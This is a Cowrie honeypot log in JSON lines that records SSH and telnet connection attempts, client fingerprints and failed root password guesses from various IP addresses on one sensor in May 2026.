{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":47494,"dst_ip":"10.17.0.5","dst_port":22,"session":"22e76971a8ee","protocol":"ssh","message":"New connection: 103.27.238.116:47494 (10.17.0.5:22) [session: 22e76971a8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:08.347273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:08.354480Z","src_ip":"103.27.238.116","session":"22e76971a8ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:08.636933Z","src_ip":"103.27.238.116","session":"22e76971a8ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"n1frdz","message":"login attempt [root/n1frdz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:09.483860Z","src_ip":"103.27.238.116","session":"22e76971a8ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:10.769688Z","src_ip":"103.27.238.116","session":"22e76971a8ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.912546634674072,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:16.810704Z","src_ip":"176.65.139.121","session":"a4247182f96d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":56998,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd05a53954ef","protocol":"telnet","message":"New connection: 176.65.139.121:56998 (10.17.0.5:23) [session: dd05a53954ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:16.979086Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53926,"dst_ip":"10.17.0.5","dst_port":22,"session":"a85a8c5f651c","protocol":"ssh","message":"New connection: 103.153.68.219:53926 (10.17.0.5:22) [session: a85a8c5f651c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:17.557768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:17.563439Z","src_ip":"103.153.68.219","session":"a85a8c5f651c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:17.824617Z","src_ip":"103.153.68.219","session":"a85a8c5f651c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":52588,"dst_ip":"10.17.0.5","dst_port":22,"session":"804627ac9bc6","protocol":"ssh","message":"New connection: 43.173.83.154:52588 (10.17.0.5:22) [session: 804627ac9bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:17.936267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:17.942130Z","src_ip":"43.173.83.154","session":"804627ac9bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:18.011345Z","src_ip":"43.173.83.154","session":"804627ac9bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":37842,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcebd0bc91f2","protocol":"ssh","message":"New connection: 43.134.1.45:37842 (10.17.0.5:22) [session: bcebd0bc91f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:18.092823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:18.097948Z","src_ip":"43.134.1.45","session":"bcebd0bc91f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blondes","message":"login attempt [root/blondes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:18.316327Z","src_ip":"43.173.83.154","session":"804627ac9bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:18.349913Z","src_ip":"43.134.1.45","session":"bcebd0bc91f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"philips","message":"login attempt [root/philips] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:18.597694Z","src_ip":"103.153.68.219","session":"a85a8c5f651c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpass1","message":"login attempt [root/newpass1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:19.372667Z","src_ip":"43.134.1.45","session":"bcebd0bc91f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:19.387822Z","src_ip":"43.173.83.154","session":"804627ac9bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:19.857210Z","src_ip":"103.153.68.219","session":"a85a8c5f651c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:20.622010Z","src_ip":"43.134.1.45","session":"bcebd0bc91f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.698051691055298,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:21.677012Z","src_ip":"176.65.139.121","session":"dd05a53954ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":57000,"dst_ip":"10.17.0.5","dst_port":23,"session":"05db23e7edc4","protocol":"telnet","message":"New connection: 176.65.139.121:57000 (10.17.0.5:23) [session: 05db23e7edc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:21.792062Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:25.171762Z","src_ip":"176.65.139.121","session":"05db23e7edc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.721963167190552,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:28.513891Z","src_ip":"176.65.139.121","session":"05db23e7edc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":39402,"dst_ip":"10.17.0.5","dst_port":23,"session":"c36b6e81d2bb","protocol":"telnet","message":"New connection: 176.65.139.121:39402 (10.17.0.5:23) [session: c36b6e81d2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:28.629107Z"}
{"eventid":"cowrie.session.closed","duration":2.3881423473358154,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:31.017098Z","src_ip":"176.65.139.121","session":"c36b6e81d2bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":39406,"dst_ip":"10.17.0.5","dst_port":23,"session":"24d6ce2c4f89","protocol":"telnet","message":"New connection: 176.65.139.121:39406 (10.17.0.5:23) [session: 24d6ce2c4f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:31.128834Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":39290,"dst_ip":"10.17.0.5","dst_port":22,"session":"11013dcaaf71","protocol":"ssh","message":"New connection: 194.113.233.25:39290 (10.17.0.5:22) [session: 11013dcaaf71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:37.302238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:37.312284Z","src_ip":"194.113.233.25","session":"11013dcaaf71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:37.406246Z","src_ip":"194.113.233.25","session":"11013dcaaf71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3easd","message":"login attempt [root/1q2w3easd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:37.689190Z","src_ip":"194.113.233.25","session":"11013dcaaf71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":55510,"dst_ip":"10.17.0.5","dst_port":22,"session":"68ca49fd0af0","protocol":"ssh","message":"New connection: 20.203.59.187:55510 (10.17.0.5:22) [session: 68ca49fd0af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:38.689016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:38.693973Z","src_ip":"20.203.59.187","session":"68ca49fd0af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:38.788500Z","src_ip":"194.113.233.25","session":"11013dcaaf71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:38.850713Z","src_ip":"20.203.59.187","session":"68ca49fd0af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.9870758056640625,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:39.115782Z","src_ip":"176.65.139.121","session":"24d6ce2c4f89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":59756,"dst_ip":"10.17.0.5","dst_port":23,"session":"c08662299943","protocol":"telnet","message":"New connection: 176.65.139.121:59756 (10.17.0.5:23) [session: c08662299943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:39.253082Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"6969","message":"login attempt [root/6969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:39.507203Z","src_ip":"20.203.59.187","session":"68ca49fd0af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:40.666388Z","src_ip":"20.203.59.187","session":"68ca49fd0af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":34338,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb38fc5b8a80","protocol":"ssh","message":"New connection: 43.128.112.183:34338 (10.17.0.5:22) [session: eb38fc5b8a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:42.096945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:42.102227Z","src_ip":"43.128.112.183","session":"eb38fc5b8a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:42.339275Z","src_ip":"43.128.112.183","session":"eb38fc5b8a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030102030","message":"login attempt [root/102030102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:43.317712Z","src_ip":"43.128.112.183","session":"eb38fc5b8a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:44.558029Z","src_ip":"43.128.112.183","session":"eb38fc5b8a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.672569751739502,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:51.925506Z","src_ip":"176.65.139.121","session":"c08662299943","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":59174,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a8d06e26fd7","protocol":"telnet","message":"New connection: 176.65.139.121:59174 (10.17.0.5:23) [session: 2a8d06e26fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:52.030142Z"}
{"eventid":"cowrie.session.closed","duration":5.42308497428894,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:57.453123Z","src_ip":"176.65.139.121","session":"2a8d06e26fd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":46956,"dst_ip":"10.17.0.5","dst_port":23,"session":"38b332851515","protocol":"telnet","message":"New connection: 176.65.139.121:46956 (10.17.0.5:23) [session: 38b332851515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:57.570753Z"}
